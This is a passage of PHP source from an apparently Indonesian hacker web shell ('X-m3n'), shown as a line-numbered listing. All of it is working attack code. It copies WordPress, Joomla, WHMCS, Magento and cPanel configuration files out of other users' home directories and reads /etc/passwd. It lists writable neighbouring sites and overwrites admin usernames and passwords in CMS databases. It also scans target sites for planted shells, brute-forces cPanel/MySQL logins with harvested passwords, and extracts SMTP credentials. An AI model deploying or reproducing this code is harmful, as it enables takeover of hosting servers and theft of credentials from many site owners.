  2816. "/home2/$user_cox/public_html/BETA/wp-config.php" => "WordPressBeta",
  2817. "/home2/$user_cox/public_html/PRESS/wp-config.php" => "WordPressPress",
  2818. "/home2/$user_cox/public_html/Press/wp-config.php" => "WordPressPress",
  2819. "/home2/$user_cox/public_html/press/wp-config.php" => "WordPressPress",
  2820. "/home2/$user_cox/public_html/Wp/wp-config.php" => "WordPressWp",
  2821. "/home2/$user_cox/public_html/wp/wp-config.php" => "WordPressWp",
  2822. "/home2/$user_cox/public_html/WP/wp-config.php" => "WordPressWP",
  2823. "/home2/$user_cox/public_html/portal/wp-config.php" => "WordPressPortal",
  2824. "/home2/$user_cox/public_html/PORTAL/wp-config.php" => "WordPressPortal",
  2825. "/home2/$user_cox/public_html/Portal/wp-config.php" => "WordPressPortal",
  2826. "/home3/$user_cox/.my.cnf" => "cpanel",
  2827. "/home3/$user_cox/.accesshash" => "WHM-accesshash",
  2828. "/home3/$user_cox/public_html/bw-configs/config.ini" => "BosWeb",
  2829. "/home3/$user_cox/public_html/config/koneksi.php" => "Lokomedia",
  2830. "/home3/$user_cox/public_html/lokomedia/config/koneksi.php" => "Lokomedia",
  2831. "/home3/$user_cox/public_html/clientarea/configuration.php" => "WHMCS",
  2832. "/home3/$user_cox/public_html/whmcs/configuration.php" => "WHMCS",
  2833. "/home3/$user_cox/public_html/forum/config.php" => "phpBB",
  2834. "/home3/$user_cox/public_html/sites/default/settings.php" => "Drupal",
  2835. "/home3/$user_cox/public_html/config/settings.inc.php" => "PrestaShop",
  2836. "/home3/$user_cox/public_html/app/etc/local.xml" => "Magento",
  2837. "/home3/$user_cox/public_html/admin/config.php" => "OpenCart",
  2838. "/home3/$user_cox/public_html/slconfig.php" => "Sitelok",
  2839. "/home3/$user_cox/public_html/application/config/database.php" => "Ellislab",
  2840. "/home3/$user_cox/public_html/whm/configuration.php" => "WHMCS",
  2841. "/home3/$user_cox/public_html/whmc/WHM/configuration.ph" => "WHMC",
  2842. "/home3/$user_cox/public_html/central/configuration.php" => "WHM Central",
  2843. "/home3/$user_cox/public_html/whm/WHMCS/configuration.php" => "WHMCS",
  2844. "/home3/$user_cox/public_html/whm/whmcs/configuration.php" => "WHMCS",
  2845. "/home3/$user_cox/public_html/submitticket.php" => "WHMCS",
  2846. "/home3/$user_cox/public_html/configuration.php" => "Joomla",
  2847. "/home3/$user_cox/public_html/Joomla/configuration.php" => "JoomlaJoomla",
  2848. "/home3/$user_cox/public_html/joomla/configuration.php" => "JoomlaJoomla",
  2849. "/home3/$user_cox/public_html/JOOMLA/configuration.php" => "JoomlaJoomla",
  2850. "/home3/$user_cox/public_html/Home/configuration.php" => "JoomlaHome",
  2851. "/home3/$user_cox/public_html/HOME/configuration.php" => "JoomlaHome",
  2852. "/home3/$user_cox/public_html/home/configuration.php" => "JoomlaHome",
  2853. "/home3/$user_cox/public_html/NEW/configuration.php" => "JoomlaNew",
  2854. "/home3/$user_cox/public_html/New/configuration.php" => "JoomlaNew",
  2855. "/home3/$user_cox/public_html/new/configuration.php" => "JoomlaNew",
  2856. "/home3/$user_cox/public_html/News/configuration.php" => "JoomlaNews",
  2857. "/home3/$user_cox/public_html/NEWS/configuration.php" => "JoomlaNews",
  2858. "/home3/$user_cox/public_html/news/configuration.php" => "JoomlaNews",
  2859. "/home3/$user_cox/public_html/Cms/configuration.php" => "JoomlaCms",
  2860. "/home3/$user_cox/public_html/CMS/configuration.php" => "JoomlaCms",
  2861. "/home3/$user_cox/public_html/cms/configuration.php" => "JoomlaCms",
  2862. "/home3/$user_cox/public_html/Main/configuration.php" => "JoomlaMain",
  2863. "/home3/$user_cox/public_html/MAIN/configuration.php" => "JoomlaMain",
  2864. "/home3/$user_cox/public_html/main/configuration.php" => "JoomlaMain",
  2865. "/home3/$user_cox/public_html/Blog/configuration.php" => "JoomlaBlog",
  2866. "/home3/$user_cox/public_html/BLOG/configuration.php" => "JoomlaBlog",
  2867. "/home3/$user_cox/public_html/blog/configuration.php" => "JoomlaBlog",
  2868. "/home3/$user_cox/public_html/Blogs/configuration.php" => "JoomlaBlogs",
  2869. "/home3/$user_cox/public_html/BLOGS/configuration.php" => "JoomlaBlogs",
  2870. "/home3/$user_cox/public_html/blogs/configuration.php" => "JoomlaBlogs",
  2871. "/home3/$user_cox/public_html/beta/configuration.php" => "JoomlaBeta",
  2872. "/home3/$user_cox/public_html/Beta/configuration.php" => "JoomlaBeta",
  2873. "/home3/$user_cox/public_html/BETA/configuration.php" => "JoomlaBeta",
  2874. "/home3/$user_cox/public_html/PRESS/configuration.php" => "JoomlaPress",
  2875. "/home3/$user_cox/public_html/Press/configuration.php" => "JoomlaPress",
  2876. "/home3/$user_cox/public_html/press/configuration.php" => "JoomlaPress",
  2877. "/home3/$user_cox/public_html/Wp/configuration.php" => "JoomlaWp",
  2878. "/home3/$user_cox/public_html/wp/configuration.php" => "JoomlaWp",
  2879. "/home3/$user_cox/public_html/WP/configuration.php" => "JoomlaWP",
  2880. "/home3/$user_cox/public_html/portal/configuration.php" => "JoomlaPortal",
  2881. "/home3/$user_cox/public_html/PORTAL/configuration.php" => "JoomlaPortal",
  2882. "/home3/$user_cox/public_html/Portal/configuration.php" => "JoomlaPortal",
  2883. "/home3/$user_cox/public_html/wp-config.php" => "WordPress",
  2884. "/home3/$user_cox/public_html/wordpress/wp-config.php" => "WordPressWordpress",
  2885. "/home3/$user_cox/public_html/Wordpress/wp-config.php" => "WordPressWordpress",
  2886. "/home3/$user_cox/public_html/WORDPRESS/wp-config.php" => "WordPressWordpress",
  2887. "/home3/$user_cox/public_html/Home/wp-config.php" => "WordPressHome",
  2888. "/home3/$user_cox/public_html/HOME/wp-config.php" => "WordPressHome",
  2889. "/home3/$user_cox/public_html/home/wp-config.php" => "WordPressHome",
  2890. "/home3/$user_cox/public_html/NEW/wp-config.php" => "WordPressNew",
  2891. "/home3/$user_cox/public_html/New/wp-config.php" => "WordPressNew",
  2892. "/home3/$user_cox/public_html/new/wp-config.php" => "WordPressNew",
  2893. "/home3/$user_cox/public_html/News/wp-config.php" => "WordPressNews",
  2894. "/home3/$user_cox/public_html/NEWS/wp-config.php" => "WordPressNews",
  2895. "/home3/$user_cox/public_html/news/wp-config.php" => "WordPressNews",
  2896. "/home3/$user_cox/public_html/Cms/wp-config.php" => "WordPressCms",
  2897. "/home3/$user_cox/public_html/CMS/wp-config.php" => "WordPressCms",
  2898. "/home3/$user_cox/public_html/cms/wp-config.php" => "WordPressCms",
  2899. "/home3/$user_cox/public_html/Main/wp-config.php" => "WordPressMain",
  2900. "/home3/$user_cox/public_html/MAIN/wp-config.php" => "WordPressMain",
  2901. "/home3/$user_cox/public_html/main/wp-config.php" => "WordPressMain",
  2902. "/home3/$user_cox/public_html/Blog/wp-config.php" => "WordPressBlog",
  2903. "/home3/$user_cox/public_html/BLOG/wp-config.php" => "WordPressBlog",
  2904. "/home3/$user_cox/public_html/blog/wp-config.php" => "WordPressBlog",
  2905. "/home3/$user_cox/public_html/Blogs/wp-config.php" => "WordPressBlogs",
  2906. "/home3/$user_cox/public_html/BLOGS/wp-config.php" => "WordPressBlogs",
  2907. "/home3/$user_cox/public_html/blogs/wp-config.php" => "WordPressBlogs",
  2908. "/home3/$user_cox/public_html/beta/wp-config.php" => "WordPressBeta",
  2909. "/home3/$user_cox/public_html/Beta/wp-config.php" => "WordPressBeta",
  2910.  
  2911.  
  2912. "/home3/$user_cox/public_html/BETA/wp-config.php" => "WordPressBeta",
  2913. "/home3/$user_cox/public_html/PRESS/wp-config.php" => "WordPressPress",
  2914. "/home3/$user_cox/public_html/Press/wp-config.php" => "WordPressPress",
  2915. "/home3/$user_cox/public_html/press/wp-config.php" => "WordPressPress",
  2916. "/home3/$user_cox/public_html/Wp/wp-config.php" => "WordPressWp",
  2917. "/home3/$user_cox/public_html/wp/wp-config.php" => "WordPressWp",
  2918. "/home3/$user_cox/public_html/WP/wp-config.php" => "WordPressWP",
  2919. "/home3/$user_cox/public_html/portal/wp-config.php" => "WordPressPortal",
  2920. "/home3/$user_cox/public_html/PORTAL/wp-config.php" => "WordPressPortal",
  2921. "/home3/$user_cox/public_html/Portal/wp-config.php" => "WordPressPortal"
  2922. );
  2923. foreach($grab_config as $config => $nama_config) {
  2924. $ambil_config = file_get_contents($config);
  2925. if($ambil_config == '') {
  2926. } else {
  2927. $file_config = fopen("xmen_config/$user_cox-$nama_config.txt","w");
  2928. fputs($file_config,$ambil_config);
  2929. }
  2930. }
  2931. }
  2932. }
  2933. echo "<center><a href='?dir=$dir/xmen_config'><font color=lime>Done</font></a></center>";
  2934. }else{
  2935.  
  2936. echo "<form method=\"post\" action=\"\"><center>etc/passw ( Error ? <a href='?dir=$dir&do=passwbypass'>Bypass Here</a> )<br><textarea name=\"passwd\" class='area' rows='15' cols='60'>\n";
  2937. echo file_get_contents('/etc/passwd');
  2938. echo "</textarea><br><input type=\"submit\" value=\"GassPoll\"></td></tr></center>\n";
  2939. }
  2940. } elseif($_GET['do'] == 'jumping') {
  2941. $i = 0;
  2942. echo "<pre><div class='margin: 5px auto;'>";
  2943. $etc = fopen("/etc/passwd", "r");
  2944. while($passwd = fgets($etc)) {
  2945. if($passwd == '' || !$etc) {
  2946. echo "<font color=red>Can't read /etc/passwd</font>";
  2947. } else {
  2948. preg_match_all('/(.*?):x:/', $passwd, $user_jumping);
  2949. foreach($user_jumping[1] as $user_idx_jump) {
  2950. $user_jumping_dir = "/home/$user_idx_jump/public_html";
  2951. if(is_readable($user_jumping_dir)) {
  2952. $i++;
  2953. $jrw = "[<font color=lime>R</font>] <a href='?dir=$user_jumping_dir'><font color=gold>$user_jumping_dir</font></a><br>";
  2954. if(is_writable($user_jumping_dir)) {
  2955. $jrw = "[<font color=lime>RW</font>] <a href='?dir=$user_jumping_dir'><font color=gold>$user_jumping_dir</font></a><br>";
  2956. }
  2957. echo $jrw;
  2958. $domain_jump = file_get_contents("/etc/named.conf");
  2959. if($domain_jump == '') {
  2960. echo " => ( <font color=red>gabisa ambil nama domain nya</font> )<br>";
  2961. } else {
  2962. preg_match_all("#/var/named/(.*?).db#", $domain_jump, $domains_jump);
  2963. foreach($domains_jump[1] as $dj) {
  2964. $user_jumping_url = posix_getpwuid(@fileowner("/etc/valiases/$dj"));
  2965. $user_jumping_url = $user_jumping_url['name'];
  2966. if($user_jumping_url == $user_idx_jump) {
  2967. echo " => ( <u>$dj</u> )<br>";
  2968. break;
  2969. }
  2970. }
  2971. }
  2972. }
  2973. }
  2974. }
  2975. }
  2976. if($i == 0) {
  2977. } else {
  2978. echo "<br>Total ada ".$i." Kimcil di ".gethostbyname($_SERVER['HTTP_HOST'])."";
  2979. }
  2980. echo "</div></pre>";
  2981. } elseif($_GET['do'] == 'auto_edit_user') {
  2982. if($_POST['hajar']) {
  2983. if(strlen($_POST['pass_baru']) < 6 OR strlen($_POST['user_baru']) < 6) {
  2984. echo "username atau password harus lebih dari 6 karakter";
  2985. } else {
  2986. $user_baru = $_POST['user_baru'];
  2987. $pass_baru = md5($_POST['pass_baru']);
  2988. $conf = $_POST['config_dir'];
  2989. $scan_conf = scandir($conf);
  2990. foreach($scan_conf as $file_conf) {
  2991. if(!is_file("$conf/$file_conf")) continue;
  2992. $config = file_get_contents("$conf/$file_conf");
  2993. if(preg_match("/JConfig|joomla/",$config)) {
  2994. $dbhost = ambilkata($config,"host = '","'");
  2995. $dbuser = ambilkata($config,"user = '","'");
  2996. $dbpass = ambilkata($config,"password = '","'");
  2997. $dbname = ambilkata($config,"db = '","'");
  2998. $dbprefix = ambilkata($config,"dbprefix = '","'");
  2999. $prefix = $dbprefix."users";
  3000. $conn = mysql_connect($dbhost,$dbuser,$dbpass);
  3001. $db = mysql_select_db($dbname);
  3002. $q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
  3003. $result = mysql_fetch_array($q);
  3004. $id = $result['id'];
  3005. $site = ambilkata($config,"sitename = '","'");
  3006. $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE id='$id'");
  3007. echo "Config => ".$file_conf."<br>";
  3008. echo "CMS => Joomla<br>";
  3009. if($site == '') {
  3010. echo "Sitename => <font color=red>error, gabisa ambil nama domain nya</font><br>";
  3011. } else {
  3012. echo "Sitename => $site<br>";
  3013. }
  3014. if(!$update OR !$conn OR !$db) {
  3015. echo "Status => <font color=red>".mysql_error()."</font><br><br>";
  3016. } else {
  3017. echo "Status => <font color=lime>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
  3018. }
  3019. mysql_close($conn);
  3020. } elseif(preg_match("/WordPress/",$config)) {
  3021. $dbhost = ambilkata($config,"DB_HOST', '","'");
  3022. $dbuser = ambilkata($config,"DB_USER', '","'");
  3023. $dbpass = ambilkata($config,"DB_PASSWORD', '","'");
  3024. $dbname = ambilkata($config,"DB_NAME', '","'");
  3025. $dbprefix = ambilkata($config,"table_prefix = '","'");
  3026. $prefix = $dbprefix."users";
  3027. $option = $dbprefix."options";
  3028. $conn = mysql_connect($dbhost,$dbuser,$dbpass);
  3029. $db = mysql_select_db($dbname);
  3030. $q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
  3031. $result = mysql_fetch_array($q);
  3032. $id = $result[ID];
  3033. $q2 = mysql_query("SELECT * FROM $option ORDER BY option_id ASC");
  3034. $result2 = mysql_fetch_array($q2);
  3035. $target = $result2[option_value];
  3036. if($target == '') {
  3037. $url_target = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
  3038. } else {
  3039. $url_target = "Login => <a href='$target/wp-login.php' target='_blank'><u>$target/wp-login.php</u></a><br>";
  3040. }
  3041. $update = mysql_query("UPDATE $prefix SET user_login='$user_baru',user_pass='$pass_baru' WHERE id='$id'");
  3042. echo "Config => ".$file_conf."<br>";
  3043. echo "CMS => Wordpress<br>";
  3044. echo $url_target;
  3045. if(!$update OR !$conn OR !$db) {
  3046. echo "Status => <font color=red>".mysql_error()."</font><br><br>";
  3047. } else {
  3048. echo "Status => <font color=lime>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
  3049. }
  3050. mysql_close($conn);
  3051. } elseif(preg_match("/Magento|Mage_Core/",$config)) {
  3052. $dbhost = ambilkata($config,"<host><![CDATA[","]]></host>");
  3053. $dbuser = ambilkata($config,"<username><![CDATA[","]]></username>");
  3054. $dbpass = ambilkata($config,"<password><![CDATA[","]]></password>");
  3055. $dbname = ambilkata($config,"<dbname><![CDATA[","]]></dbname>");
  3056. $dbprefix = ambilkata($config,"<table_prefix><![CDATA[","]]></table_prefix>");
  3057. $prefix = $dbprefix."admin_user";
  3058. $option = $dbprefix."core_config_data";
  3059. $conn = mysql_connect($dbhost,$dbuser,$dbpass);
  3060. $db = mysql_select_db($dbname);
  3061. $q = mysql_query("SELECT * FROM $prefix ORDER BY user_id ASC");
  3062. $result = mysql_fetch_array($q);
  3063. $id = $result[user_id];
  3064. $q2 = mysql_query("SELECT * FROM $option WHERE path='web/secure/base_url'");
  3065. $result2 = mysql_fetch_array($q2);
  3066. $target = $result2[value];
  3067. if($target == '') {
  3068. $url_target = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
  3069. } else {
  3070. $url_target = "Login => <a href='$target/admin/' target='_blank'><u>$target/admin/</u></a><br>";
  3071. }
  3072. $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE user_id='$id'");
  3073. echo "Config => ".$file_conf."<br>";
  3074. echo "CMS => Magento<br>";
  3075. echo $url_target;
  3076. if(!$update OR !$conn OR !$db) {
  3077. echo "Status => <font color=red>".mysql_error()."</font><br><br>";
  3078. } else {
  3079. echo "Status => <font color=lime>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
  3080. }
  3081. mysql_close($conn);
  3082. } elseif(preg_match("/HTTP_SERVER|HTTP_CATALOG|DIR_CONFIG|DIR_SYSTEM/",$config)) {
  3083. $dbhost = ambilkata($config,"'DB_HOSTNAME', '","'");
  3084. $dbuser = ambilkata($config,"'DB_USERNAME', '","'");
  3085. $dbpass = ambilkata($config,"'DB_PASSWORD', '","'");
  3086. $dbname = ambilkata($config,"'DB_DATABASE', '","'");
  3087. $dbprefix = ambilkata($config,"'DB_PREFIX', '","'");
  3088. $prefix = $dbprefix."user";
  3089. $conn = mysql_connect($dbhost,$dbuser,$dbpass);
  3090. $db = mysql_select_db($dbname);
  3091. $q = mysql_query("SELECT * FROM $prefix ORDER BY user_id ASC");
  3092. $result = mysql_fetch_array($q);
  3093. $id = $result[user_id];
  3094. $target = ambilkata($config,"HTTP_SERVER', '","'");
  3095. if($target == '') {
  3096. $url_target = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
  3097. } else {
  3098. $url_target = "Login => <a href='$target' target='_blank'><u>$target</u></a><br>";
  3099. }
  3100. $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE user_id='$id'");
  3101. echo "Config => ".$file_conf."<br>";
  3102. echo "CMS => OpenCart<br>";
  3103. echo $url_target;
  3104. if(!$update OR !$conn OR !$db) {
  3105. echo "Status => <font color=red>".mysql_error()."</font><br><br>";
  3106. } else {
  3107. echo "Status => <font color=lime>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
  3108. }
  3109. mysql_close($conn);
  3110. } elseif(preg_match("/panggil fungsi validasi xss dan injection/",$config)) {
  3111. $dbhost = ambilkata($config,'server = "','"');
  3112. $dbuser = ambilkata($config,'username = "','"');
  3113. $dbpass = ambilkata($config,'password = "','"');
  3114. $dbname = ambilkata($config,'database = "','"');
  3115. $prefix = "users";
  3116. $option = "identitas";
  3117. $conn = mysql_connect($dbhost,$dbuser,$dbpass);
  3118. $db = mysql_select_db($dbname);
  3119. $q = mysql_query("SELECT * FROM $option ORDER BY id_identitas ASC");
  3120. $result = mysql_fetch_array($q);
  3121. $target = $result[alamat_website];
  3122. if($target == '') {
  3123. $target2 = $result[url];
  3124. $url_target = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
  3125. if($target2 == '') {
  3126. $url_target2 = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
  3127. } else {
  3128. $cek_login3 = file_get_contents("$target2/adminweb/");
  3129. $cek_login4 = file_get_contents("$target2/lokomedia/adminweb/");
  3130. if(preg_match("/CMS Lokomedia|Administrator/", $cek_login3)) {
  3131. $url_target2 = "Login => <a href='$target2/adminweb' target='_blank'><u>$target2/adminweb</u></a><br>";
  3132. } elseif(preg_match("/CMS Lokomedia|Lokomedia/", $cek_login4)) {
  3133. $url_target2 = "Login => <a href='$target2/lokomedia/adminweb' target='_blank'><u>$target2/lokomedia/adminweb</u></a><br>";
  3134. } else {
  3135. $url_target2 = "Login => <a href='$target2' target='_blank'><u>$target2</u></a> [ <font color=red>gatau admin login nya dimana :p</font> ]<br>";
  3136. }
  3137. }
  3138. } else {
  3139. $cek_login = file_get_contents("$target/adminweb/");
  3140. $cek_login2 = file_get_contents("$target/lokomedia/adminweb/");
  3141. if(preg_match("/CMS Lokomedia|Administrator/", $cek_login)) {
  3142. $url_target = "Login => <a href='$target/adminweb' target='_blank'><u>$target/adminweb</u></a><br>";
  3143. } elseif(preg_match("/CMS Lokomedia|Lokomedia/", $cek_login2)) {
  3144. $url_target = "Login => <a href='$target/lokomedia/adminweb' target='_blank'><u>$target/lokomedia/adminweb</u></a><br>";
  3145. } else {
  3146. $url_target = "Login => <a href='$target' target='_blank'><u>$target</u></a> [ <font color=red>gatau admin login nya dimana :p</font> ]<br>";
  3147. }
  3148. }
  3149. $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE level='admin'");
  3150. echo "Config => ".$file_conf."<br>";
  3151. echo "CMS => Lokomedia<br>";
  3152. if(preg_match('/error, gabisa ambil nama domain nya/', $url_target)) {
  3153. echo $url_target2;
  3154. } else {
  3155. echo $url_target;
  3156. }
  3157. if(!$update OR !$conn OR !$db) {
  3158. echo "Status => <font color=red>".mysql_error()."</font><br><br>";
  3159. } else {
  3160. echo "Status => <font color=lime>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
  3161. }
  3162. mysql_close($conn);
  3163. }
  3164. }
  3165. }
  3166. } else {
  3167. echo "<center>
  3168. <h1>Auto Edit User Config</h1>
  3169. <form method='post'>
  3170. DIR Config: <br>
  3171. <input type='text' size='50' name='config_dir' value='$dir'><br><br>
  3172. Set User & Pass: <br>
  3173. <input type='text' name='user_baru' value='xmenhaxor' placeholder='user_baru'><br>
  3174. <input type='text' name='pass_baru' value='xmenhaxor' placeholder='pass_baru'><br>
  3175. <input type='submit' name='hajar' value='Hajar!' style='width: 215px;'>
  3176. </form>
  3177. <span>NB: Tools ini work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</span><br>
  3178. ";
  3179. }
  3180. }elseif($_GET['do'] == 'shelscan') {
  3181. echo'<center><h2>Shell Finder</h2>
  3182. <form action="" method="post">
  3183. <input type="text" size="50" name="traget" value="http://www.site.com/"/>
  3184. <br>
  3185. <input name="scan" value="Start Scaning" style="width: 215px;" type="submit">
  3186. </form><br>';
  3187. if (isset($_POST["scan"])) {
  3188. $url = $_POST['traget'];
  3189. echo "<br /><span class='start'>Scanning ".$url."<br /><br /></span>";
  3190. echo "Result :<br />";
  3191. $shells = array("WSO.php","dz.php","cpanel.php","cpn.php","sql.php","mysql.php","madspot.php","cp.php","cpbt.php","sYm.php",
  3192. "x.php","r99.php","lol.php","jo.php","wp.php","whmcs.php","shellz.php","d0main.php","d0mains.php","users.php",
  3193. "Cgishell.pl","killer.php","changeall.php","2.php","Sh3ll.php","dz0.php","dam.php","user.php","dom.php","whmcs.php",
  3194. "vb.zip","r00t.php","c99.php","gaza.php","1.php","wp.zip"."wp-content/plugins/disqus-comment-system/disqus.php",
  3195. "d0mains.php","wp-content/plugins/akismet/akismet.php","madspotshell.php","Sym.php","c22.php","c100.php",
  3196. "wp-content/plugins/akismet/admin.php#","wp-content/plugins/google-sitemap-generator/sitemap-core.php#",
  3197. "wp-content/plugins/akismet/widget.php#","Cpanel.php","zone-h.php","tmp/user.php","tmp/Sym.php","cp.php",
  3198. "tmp/madspotshell.php","tmp/root.php","tmp/whmcs.php","tmp/index.php","tmp/2.php","tmp/dz.php","tmp/cpn.php",
  3199. "tmp/changeall.php","tmp/Cgishell.pl","tmp/sql.php","tmp/admin.php","cliente/downloads/h4xor.php",
  3200. "whmcs/downloads/dz.php","L3b.php","d.php","tmp/d.php","tmp/L3b.php","wp-content/plugins/akismet/admin.php",
  3201. "templates/rhuk_milkyway/index.php","templates/beez/index.php","admin1.php","upload.php","up.php","vb.zip","vb.rar",
  3202. "admin2.asp","uploads.php","sa.php","sysadmins/","admin1/","administration/Sym.php","images/Sym.php",
  3203. "/r57.php","/wp-content/plugins/disqus-comment-system/disqus.php","/shell.php","/sa.php","/admin.php",
  3204. "/sa2.php","/2.php","/gaza.php","/up.php","/upload.php","/uploads.php","/templates/beez/index.php","shell.php","/amad.php",
  3205. "/t00.php","/dz.php","/site.rar","/Black.php","/site.tar.gz","/home.zip","/home.rar","/home.tar","/home.tar.gz",
  3206. "/forum.zip","/forum.rar","/forum.tar","/forum.tar.gz","/test.txt","/ftp.txt","/user.txt","/site.txt","/error_log","/error",
  3207. "/cpanel","/awstats","/site.sql","/vb.sql","/forum.sql","/backup.sql","/back.sql","/data.sql","wp.rar/",
  3208. "wp-content/plugins/disqus-comment-system/disqus.php","asp.aspx","/templates/beez/index.php","tmp/vaga.php",
  3209. "tmp/killer.php","whmcs.php","tmp/killer.php","tmp/domaine.pl","tmp/domaine.php","useradmin/",
  3210. "tmp/d0maine.php","d0maine.php","tmp/sql.php","tmp/dz1.php","dz1.php","forum.zip","Symlink.php","Symlink.pl",
  3211. "forum.rar","joomla.zip","joomla.rar","wp.php","buck.sql","sysadmin.php","images/c99.php", "xd.php", "c100.php",
  3212. "spy.aspx","xd.php","tmp/xd.php","sym/root/home/","billing/killer.php","tmp/upload.php","tmp/admin.php",
  3213. "Server.php","tmp/uploads.php","tmp/up.php","Server/","wp-admin/c99.php","tmp/priv8.php","priv8.php","cgi.pl/",
  3214. "tmp/cgi.pl","downloads/dom.php","templates/ja-helio-farsi/index.php","webadmin.html","admins.php",
  3215. "/wp-content/plugins/count-per-day/js/yc/d00.php", "admins/","admins.asp","admins.php","wp.zip","wso2.5.1","pasir.php","pasir2.php","up.php","cok.php","newfile.php","upl.php",".php","a.php","crot.php","kontol.php","hmei7.php","jembut.php","memek.php","tai.php","rabit.php","indoxploit.php","a.php","hemb.php","hack.php","galau.php","HsH.php","indoXploit.php","asu.php","wso.php","lol.php","idx.php","rabbit.php","1n73ction.php","k.php","mailer.php","mail.php","temp.php","c.php","d.php","IDB.php","indo.php","indonesia.php","semvak.php","ndasmu.php","cox.php","as.php","ad.php","aa.php","file.php","peju.php","asd.php","configs.php","ass.php","z.php");
  3216. foreach ($shells as $shell){
  3217. $headers = get_headers("$url$shell"); //
  3218. if (eregi('200', $headers[0])) {
  3219. echo "<a href='$url$shell'>$url$shell</a> <span class='found'>Done</span><br /><br/><br/>"; //
  3220. $dz = fopen('shells.txt', 'a+');
  3221. $suck = "$url$shell";
  3222. fwrite($dz, $suck."\n");
  3223. }
  3224. }
  3225. echo "Shell [ <a href='./shells.txt' target='_blank'>shells.txt</a> ]</span>";
  3226. }
  3227.  
  3228. }
  3229. elseif($_GET['do'] == 'cpanel') {
  3230. if($_POST['crack']) {
  3231. $usercp = explode("\r\n", $_POST['user_cp']);
  3232. $passcp = explode("\r\n", $_POST['pass_cp']);
  3233. $i = 0;
  3234. foreach($usercp as $ucp) {
  3235. foreach($passcp as $pcp) {
  3236. if(@mysql_connect('localhost', $ucp, $pcp)) {
  3237. if($_SESSION[$ucp] && $_SESSION[$pcp]) {
  3238. } else {
  3239. $_SESSION[$ucp] = "1";
  3240. $_SESSION[$pcp] = "1";
  3241. $i++;
  3242. echo "username (<font color=lime>$ucp</font>) password (<font color=lime>$pcp</font>)<br>";
  3243. }
  3244. }
  3245. }
  3246. }
  3247. if($i == 0) {
  3248. } else {
  3249. echo "<br>Nyolong ".$i." Cpanel By <font color=lime>X-m3n</font>";
  3250. }
  3251. } else {
  3252. echo "<center>
  3253. <form method='post'>
  3254. USER: <br>
  3255. <textarea style='width: 450px; height: 150px;' name='user_cp'>";
  3256. $_usercp = fopen("/etc/passwd","r");
  3257. while($getu = fgets($_usercp)) {
  3258. if($getu == '' || !$_usercp) {
  3259. echo "<font color=red>Can't read /etc/passwd</font>";
  3260. } else {
  3261. preg_match_all("/(.*?):x:/", $getu, $u);
  3262. foreach($u[1] as $user_cp) {
  3263. if(is_dir("/home/$user_cp/public_html")) {
  3264. echo "$user_cp\n";
  3265. }
  3266. }
  3267. }
  3268. }
  3269. echo "</textarea><br>
  3270. PASS: <br>
  3271. <textarea style='width: 450px; height: 200px;' name='pass_cp'>";
  3272. function cp_pass($dir) {
  3273. $pass = "";
  3274. $dira = scandir($dir);
  3275. foreach($dira as $dirb) {
  3276. if(!is_file("$dir/$dirb")) continue;
  3277. $ambil = file_get_contents("$dir/$dirb");
  3278. if(preg_match("/WordPress/", $ambil)) {
  3279. $pass .= ambilkata($ambil,"DB_PASSWORD', '","'")."\n";
  3280. } elseif(preg_match("/JConfig|joomla/", $ambil)) {
  3281. $pass .= ambilkata($ambil,"password = '","'")."\n";
  3282. } elseif(preg_match("/Magento|Mage_Core/", $ambil)) {
  3283. $pass .= ambilkata($ambil,"<password><![CDATA[","]]></password>")."\n";
  3284. } elseif(preg_match("/panggil fungsi validasi xss dan injection/", $ambil)) {
  3285. $pass .= ambilkata($ambil,'password = "','"')."\n";
  3286. } elseif(preg_match("/HTTP_SERVER|HTTP_CATALOG|DIR_CONFIG|DIR_SYSTEM/", $ambil)) {
  3287. $pass .= ambilkata($ambil,"'DB_PASSWORD', '","'")."\n";
  3288. } elseif(preg_match("/client/", $ambil)) {
  3289. preg_match("/password=(.*)/", $ambil, $pass1);
  3290. if(preg_match('/"/', $pass1[1])) {
  3291. $pass1[1] = str_replace('"', "", $pass1[1]);
  3292. $pass .= $pass1[1]."\n";
  3293. }
  3294. } elseif(preg_match("/cc_encryption_hash/", $ambil)) {
  3295. $pass .= ambilkata($ambil,"db_password = '","'")."\n";
  3296. }
  3297. }
  3298. echo $pass;
  3299. }
  3300. $cp_pass = cp_pass($dir);
  3301. echo $cp_pass;
  3302. echo "</textarea><br>
  3303. <input type='submit' name='crack' style='width: 450px;' value='Crack'>
  3304. </form>
  3305. <span>NB: CPanel Crack ini sudah auto get password ( pake db password ) maka akan work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</span><br></center>";
  3306. }
  3307. } elseif($_GET['do'] == 'smtp') {
  3308. echo "<center><span>NB: Tools ini work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</span></center><br>";
  3309. function scj($dir) {
  3310. $dira = scandir($dir);
  3311. foreach($dira as $dirb) {
  3312. if(!is_file("$dir/$dirb")) continue;
  3313. $ambil = file_get_contents("$dir/$dirb");
  3314. $ambil = str_replace("$", "", $ambil);
  3315. if(preg_match("/JConfig|joomla/", $ambil)) {
  3316.  
  3317. $smtp_host = ambilkata($ambil,"smtphost = '","'");
  3318. $smtp_auth = ambilkata($ambil,"smtpauth = '","'");
  3319. $smtp_user = ambilkata($ambil,"smtpuser = '","'");
  3320. $smtp_pass = ambilkata($ambil,"smtppass = '","'");
  3321. $smtp_port = ambilkata($ambil,"smtpport = '","'");
  3322. $smtp_secure = ambilkata($ambil,"smtpsecure = '","'");
  3323. echo "SMTP Host: <font color=lime>$smtp_host</font><br>";
